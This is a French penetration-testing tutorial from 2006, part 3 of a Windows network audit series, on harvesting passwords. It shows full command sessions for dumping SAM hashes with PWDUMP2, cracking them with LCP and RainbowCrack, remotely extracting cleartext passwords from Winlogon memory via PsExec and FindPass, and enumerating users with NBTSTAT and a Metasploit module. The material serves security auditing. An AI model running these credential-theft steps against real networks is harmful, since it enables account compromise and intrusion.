|
[Auditer son réseau Windows - partie 3] Pratique : La chasse au mot de passe (1/2)
Par Nicolas Ruff,
EADS/CCR DCR/STI/C
Le 25/08/2006
Résumé : La chasse aux mots de passe est une activité simple mais efficace. C'est la base du test d'intrusion. Voici quelques pistes pour collecter un maximum de mots de passe.
- Lire l'article
La chasse aux mots de passe est une activité simple mais efficace. C'est la base du test d'intrusion. Voici quelques pistes pour collecter un maximum de mots de passe.
Nous avons supposé que l'utilisateur possède les droits Administrateur local sur le poste, toutefois cela ne signifie pas nécessairement qu'il possède le mot de passe du compte Administrateur local built-in ! Il se peut très bien qu'il possède un compte appartenant au groupe local Administrateurs.
Or il est indispensable de posséder le mot de passe du compte built-in pour une raison simple : le mot de passe de ce compte est identique sur tous les postes issus du même master ! La connaissance de ce mot de passe permet donc d'administrer à distance tous les postes clients.
Les hash LM et NTLM des mots de passe des comptes locaux peuvent être récupérés "en live" sur un système Windows à l'aide de l'outil PWDUMP ( lien ), dont il existe au moins 5 versions en circulation.
Attention à la version d'origine de l'outil, qui provoque un crash lorsque la fonction DEP (Data Execution Prevention) de Windows est active sur un processeur supportant le drapeau NX. Certains antivirus ont également tendance à classer PWDUMP comme "logiciel indésirable".
Utilisation de l'outil PWDUMP2 pour extraire le fichier SAM
C:\>pwdump2.exe
Administrator:500:bac14d04669ee1d1aad3b435b51404ee:
fbbf55d0ef0e34d39593f55c5f2ca5f2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cf
e0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:e6ec5a4016c18ea55c6cdb507b21ed03
:1cf2ac4946e52c6d6aac3c332a4d9701:::
nicolas:1003:0182bd0bd4444bf8aad3b435b51404ee:3287
27b81ca05805a68ef26acb252039:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b5
1404ee:3b8a3931fcf395293f5c241e2d07371a:::
testuser:1004:8a6d8380cac58f2201fc5a6be7bc6929:461f
45df82191350d7ed7275e9065164:::
Deux techniques peuvent être utilisées pour casser un hash LM ou NTLM :
- la force brute. Utiliser pour cela l'outil LCP ( lien ),
- les tables précalculées dites "arc-en-ciel" (Rainbow Tables). Utiliser pour cela les tables disponibles sur Shmoo ( lien ) et l'outil de cassage RainbowCrack ( lien ).
Utilisation de l'outil LCP pour une attaque en force brute d'un fichier PWDUMP
Menu Import -> Import From PWDUMP file
Menu Session -> Options
Choisir le type d'attaque et le charset à utiliser.
Menu Session -> Begin Audit (F4)
Une recherche exhaustive sur les hash LM, lettres et chiffres, sans caractères spéciaux, prend entre 12h et 48h selon la machine.
 Fig. 2 LCP en action
On peut remarquer qu'il n'est pas utile de cracker les mots de passe des comptes HelpAssistant et SUPPORT_388945a0, ces comptes (spécifiques à Windows XP) étant verrouillés par défaut et leur mot de passe changé à chaque utilisation.
Utilisation de l'outil RainbowCrack pour une attaque en force brute d'un fichier PWDUMP
J:\Rainbow\lm_alpha>dir
Le volume dans le lecteur J s'appelle NICOLAS
Le numéro de série du volume est 4406-9C28
Répertoire de J:\Rainbow\lm_alpha
23/02/2006 01:53 .
23/02/2006 01:53 ..
23/11/2005 11:16 38 charset.txt
20/12/2004 20:30 128 000 000 lm_alpha#1-7_0_2100x8000000_all.rt
20/12/2004 20:31 128 000 000 lm_alpha#1-7_1_2100x8000000_all.rt
20/12/2004 20:32 128 000 000 lm_alpha#1-7_2_2100x8000000_all.rt
20/12/2004 20:32 128 000 000 lm_alpha#1-7_3_2100x8000000_all.rt
20/12/2004 20:32 128 000 000 lm_alpha#1-7_4_2100x8000000_all.rt
23/12/2004 19:40 345 lm_alpha_md5sums.txt
8 fichier(s) 640 000 424 octets
2 Rép(s) 64 117 854 208 octets libres
J:\Rainbow\lm_alpha>..\rc-1.2\rcrack *.rt -f ..\pwdump.txt
lm_alpha#1-7_0_2100x8000000_all.rt:
128000000 bytes read, disk access time: 0.23 s
verifying the file...
searching for 6 hashes...
plaintext of bac14d04669ee1d1 is TOTO
plaintext of 8a6d8380cac58f22 is THISISA
plaintext of 01fc5a6be7bc6929 is TEST
cryptanalysis time: 13.57 s
lm_alpha#1-7_1_2100x8000000_all.rt:
128000000 bytes read, disk access time: 0.19 s
verifying the file...
searching for 3 hashes...
cryptanalysis time: 8.63 s
lm_alpha#1-7_2_2100x8000000_all.rt:
128000000 bytes read, disk access time: 0.19 s
verifying the file...
searching for 3 hashes...
cryptanalysis time: 8.80 s
lm_alpha#1-7_3_2100x8000000_all.rt:
128000000 bytes read, disk access time: 0.17 s
verifying the file...
searching for 3 hashes...
cryptanalysis time: 8.74 s
lm_alpha#1-7_4_2100x8000000_all.rt:
128000000 bytes read, disk access time: 0.17 s
verifying the file...
searching for 3 hashes...
cryptanalysis time: 8.72 s
statistics
-------------------------------------------------------
plaintext found: 3 of 6 (50.00%)
total disk access time: 0.95 s
total cryptanalysis time: 48.45 s
total chain walk step: 35858581
total false alarm: 34816
total chain walk step due to false alarm: 25221942
result
-------------------------------------------------------
Administrator toto hex:746f746f
Guest hex:
HelpAssistant hex:
nicolas hex:
SUPPORT_388945a0 hex:
testuser thisisatest hex:7468697369736174657374
Cette technique prend quelques minutes, mais nécessite de posséder des tables précalculées (jusqu'à 140 Go pour les tables les plus complètes !) et 1 Go de RAM. Des services en ligne existent également, tels que RainbowCrack Online ( lien ).
On remarque également que l'outil Cain ( lien ) donne accès aux 3 méthodes (bruteforce, Rainbow Tables et cracking online). L'outil LCP me semble néanmoins le mieux adapté à l'attaque en force brute, compte tenu des nombreuses options de génération des mots de passe qu'il possède.
Récupérer des mots de passe en mémoire
En cas de compromission à distance d'un poste utilisateur (via le mot de passe du compte Administrateur local par exemple), il est possible d'obtenir en clair le mot de passe de l'utilisateur logué, car celui-ci est maintenu en cache tant que la session utilisateur est ouverte. Cette attaque est particulièrement fatale sur un serveur applicatif, car il n'est pas rare qu'un administrateur de domaine y soit logué.
Pour cela il est nécessaire d'utiliser des outils tels que PasswordReminder ( lien - sur Windows 2000), CachedPasswordDumper ( lien - sur Windows XP) ou FindPass ( lien ). Attention : tous ces outils ne sont pas égaux devant Terminal Server …
Plusieurs méthodes sont disponibles pour exécuter à distance ces outils sur des machines dont on possède le mot de passe Administrateur local, la plus simple restant l'utilisation de PsExec ( lien ).
Notons qu'à partir de Windows XP SP2 et Windows 2003 SP1, le mot de passe n'est plus stocké en clair en mémoire.
Récupération à distance d'un mot de passe en clair (Cible : Windows 2000)
C:\cmdline>net use z: \\VICTIME\c$ /user:VICTIME\administrateur
Le mot de passe ou nom d'utilisateur n'est pas valide pour \\VICTIME\c$.
Entrez le mot de passe de 'VICTIME\administrateur' pour vous connecter à 'VICTIME' :
La commande s'est terminée correctement.
C:\cmdline>copy tools\findpass.exe z:
1 fichier(s) copié(s).
C:\cmdline>copy tools\pulist.exe z:
1 fichier(s) copié(s).
C:\cmdline>psexec \\VICTIME cmd
PsExec v1.71 - Execute processes remotely
Copyright (C) 2001-2006 Mark Russinovich
Sysinternals - www.sysinternals.com
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>cd \
C:\>findpass
To Find Password in the Winlogon process
Usage: findpass DomainName UserName PID-of-WinLogon
The debug privilege has been added to PasswordReminder.
The WinLogon process id is 160 (0x000000a0).
To find \ password in process 160 ...
The logon information is: /.
There is no password.
C:\>pulist
Process PID User
Idle 0
System 8
SMSS.EXE 140 AUTORITE NT\SYSTEM
CSRSS.EXE 164 AUTORITE NT\SYSTEM
WINLOGON.EXE 160 AUTORITE NT\SYSTEM
SERVICES.EXE 212 AUTORITE NT\SYSTEM
LSASS.EXE 224 AUTORITE NT\SYSTEM
svchost.exe 404 AUTORITE NT\SYSTEM
spoolsv.exe 432 AUTORITE NT\SYSTEM
svchost.exe 508 AUTORITE NT\SYSTEM
regsvc.exe 556 AUTORITE NT\SYSTEM
mstask.exe 584 AUTORITE NT\SYSTEM
VMwareService.e 708 AUTORITE NT\SYSTEM
WinMgmt.exe 740 AUTORITE NT\SYSTEM
svchost.exe 748 AUTORITE NT\SYSTEM
explorer.exe 836
msiexec.exe 1092 AUTORITE NT\SYSTEM
VMwareTray.exe 1024
VMwareUser.exe 1136
internat.exe 628
CMD.EXE 764
PSEXESVC.EXE 560 AUTORITE NT\SYSTEM
CMD.EXE 856 W2KPROFRSP4\Administrateur
pulist.exe 820 W2KPROFRSP4\Administrateur
C:\>findpass win2k user 160
To Find Password in the Winlogon process
Usage: findpass DomainName UserName PID-of-WinLogon
The debug privilege has been added to PasswordReminder.
The WinLogon process id is 160 (0x000000a0).
To find win2k\user password in process 160 ...
The encoded password is found at 0x00890800 and has a length of 4.
The logon information is: win2k/user/toto.
The hash byte is: 0x50.
Il reste une inconnue dans l'exemple précédent : comment avons-nous déterminé le nom d'utilisateur et le domaine (WIN2K\user) ?
La réponse est simple : Windows 2000 renvoie cette information de manière anonyme en réponse à la commande NBTSTAT !
Obtenir la liste des utilisateurs logués dans un domaine, et leur poste de travail
C:\>net view /domain:win2k
Nom de serveur Remarque
--------------------------------------------------------------------------
\\MORTSUBITE
\\W2KPROFRSP4
\\XPENSP1
La commande s'est terminée correctement.
Créer un fichier COMPUTERS.TXT contenant la liste des machines du domaine, une par ligne.
C:\>for /f %m in (computers.txt) do nbtstat -a %m
C:\>nbtstat -a MORTSUBITE
Réseau interne:
Adresse IP du noeud : [192.168.21.60] ID d'étendue : []
Table de noms NetBIOS des ordinateurs distants
Nom Type État
---------------------------------------------
MORTSUBITE <00> UNIQUE Inscrit
MORTSUBITE <20> UNIQUE Inscrit
WIN2K <00> Groupe Inscrit
WIN2K <1C> Groupe Inscrit
WIN2K <1B> UNIQUE Inscrit
WIN2K <1E> Groupe Inscrit
MORTSUBITE <03> UNIQUE Inscrit
MORTSUBITE$ <03> UNIQUE Inscrit
WIN2K <1D> UNIQUE Inscrit
INet~Services <1C> Groupe Inscrit
..__MSBROWSE__.<01> Groupe Inscrit
IS~MORTSUBITE..<00> UNIQUE Inscrit
ADMINISTRATEUR <03> UNIQUE Inscrit
Adresse MAC = 00-0C-29-7E-4E-BD
C:\>nbtstat -a W2KPROFRSP4
Réseau interne:
Adresse IP du noeud : [192.168.21.60] ID d'étendue : []
Table de noms NetBIOS des ordinateurs distants
Nom Type État
---------------------------------------------
W2KPROFRSP4 <00> UNIQUE Inscrit
WIN2K <00> Groupe Inscrit
W2KPROFRSP4 <03> UNIQUE Inscrit
W2KPROFRSP4 <20> UNIQUE Inscrit
WIN2K <1E> Groupe Inscrit
USER <03> UNIQUE Inscrit
Adresse MAC = 00-0C-29-3B-87-76
C:\>nbtstat -a XPENSP1
Réseau interne:
Adresse IP du noeud : [192.168.21.60] ID d'étendue : []
Table de noms NetBIOS des ordinateurs distants
Nom Type État
---------------------------------------------
XPENSP1 <00> UNIQUE Inscrit
XPENSP1 <20> UNIQUE Inscrit
WIN2K <00> Groupe Inscrit
WIN2K <1E> Groupe Inscrit
Adresse MAC = 00-0C-29-1E-EA-14
Grâce à cette technique et un peu de patience, il est possible de lister tous les utilisateurs du domaine. Malheureusement cette technique semble ne pas fonctionner sur Windows XP …
Toutefois le site SecurityFriday ( lien ) laisse entrevoir une possibilité : les connexions RPC anonymes restent possibles sur le canal nommé browser. Ceci ouvre des possibilités importantes pour l'énumération distante anonyme.
Obtenir de manière anonyme la liste des derniers utilisateurs ayant ouvert une session (y compris l'utilisateur courant)
$ ./run_msfconsole
...
+ -- --=[ msfconsole v2.6 [151 exploits - 76 payloads]
msf > use userenum
msf userenum > show options
Exploit Options
===============
Exploit: Name Default Description
-------- ------- ------- ---------------------------------------
required RHOST The target address
required SMBPIPE browser Pipe name: browser, srvsvc, wkssvc
optional SMBDOM The domain for specified SMB username
required RPORT 139 The target port
optional SMBUSER The SMB username to connect with
optional SMBPASS The password for specified SMB username
Target: Windows 2000 SP0-SP4, Windows XP SP0-SP2
msf userenum > set RHOST 172.16.21.156
RHOST -> 172.16.21.156
msf userenum > exploit
[*] Detected a Windows 2000 target
[*] Sending request...
[*] Listing users...
-- W2KPROFRSP4$
-- Administrateur
-- Administrateur
-- Administrateur
-- user
msf userenum > set RHOST 172.16.21.134
RHOST -> 172.16.21.134
msf userenum > exploit
[*] Detected a Windows XP target
[*] Sending request...
[*] Listing users...
-- XPENSP1$
-- Administrateur
-- testuser
A la date de Rédaction de cet article, le plugin userenum n'est pas dans le domaine public. Ce qui prouve que les sociétés réalisant des tests d'intrusion ne se comparent pas seulement sur les tarifs …
Autres ressources dans ce même dossier :
[Auditer son réseau Windows - partie 1] Démystifier le Pentesting - lien
[Auditer son réseau Windows - partie 2] Pratique : Obtenir les droits d'administrateur local - lien
[Auditer son réseau Windows - partie 4] Pratique : La chasse au mot de passe (2/2)- lien
[Auditer son réseau Windows - partie 5] Conclusion : Une moyenne avant contrôle total du domaine Windows de 20 minutes - lien
- Article suivant : [Auditer son réseau Windows - partie 4] Pratique : La chasse au mot de passe (2/2)
- Article précédent : [Auditer son réseau Windows - partie 2] Pratique : Obtenir les droits d'administrateur local
- Article suivant dans la catégorie Tutoriels : [Auditer son réseau Windows - partie 4] Pratique : La chasse au mot de passe (2/2)
- Article précédent dans la catégorie Tutoriels : [Auditer son réseau Windows - partie 2] Pratique : Obtenir les droits d'administrateur local
Mini-Tagwall des articles publiés sur SecuObs : | | | | sécurité, exploit, windows, attaque, outil, microsoft, réseau, audit, metasploit, vulnérabilité, système, virus, internet, usbsploit, données, source, linux, protocol, présentation, scanne, réseaux, scanner, bluetooth, conférence, reverse, shell, meterpreter, vista, rootkit, détection, mobile, security, malicieux, engineering, téléphone, paquet, trames, https, noyau, utilisant, intel, wishmaster, google, sysun, libre |
Mini-Tagwall de l'annuaire video : | | | | curit, security, biomet, metasploit, biometric, cking, password, windows, botnet, defcon, tutorial, crypt, xploit, exploit, lockpicking, linux, attack, wireshark, vmware, rootkit, conference, network, shmoocon, backtrack, virus, conficker, elcom, etter, elcomsoft, server, meterpreter, openvpn, ettercap, openbs, iphone, shell, openbsd, iptables, securitytube, deepsec, source, office, systm, openssh, radio |
Mini-Tagwall des articles de la revue de presse : | | | | security, microsoft, windows, hacker, attack, network, vulnerability, google, exploit, malware, internet, remote, iphone, server, inject, patch, apple, twitter, mobile, virus, ebook, facebook, vulnérabilité, crypt, source, linux, password, intel, research, virtual, phish, access, tutorial, trojan, social, privacy, firefox, adobe, overflow, office, cisco, conficker, botnet, pirate, sécurité |
Mini-Tagwall des Tweets de la revue Twitter : | | | | security, linux, botnet, attack, metasploit, cisco, defcon, phish, exploit, google, inject, server, firewall, network, twitter, vmware, windows, microsoft, compliance, vulnerability, python, engineering, source, kernel, crypt, social, overflow, nessus, crack, hacker, virus, iphone, patch, virtual, javascript, malware, conficker, pentest, research, email, password, adobe, apache, proxy, backtrack |
|
|
|
|
|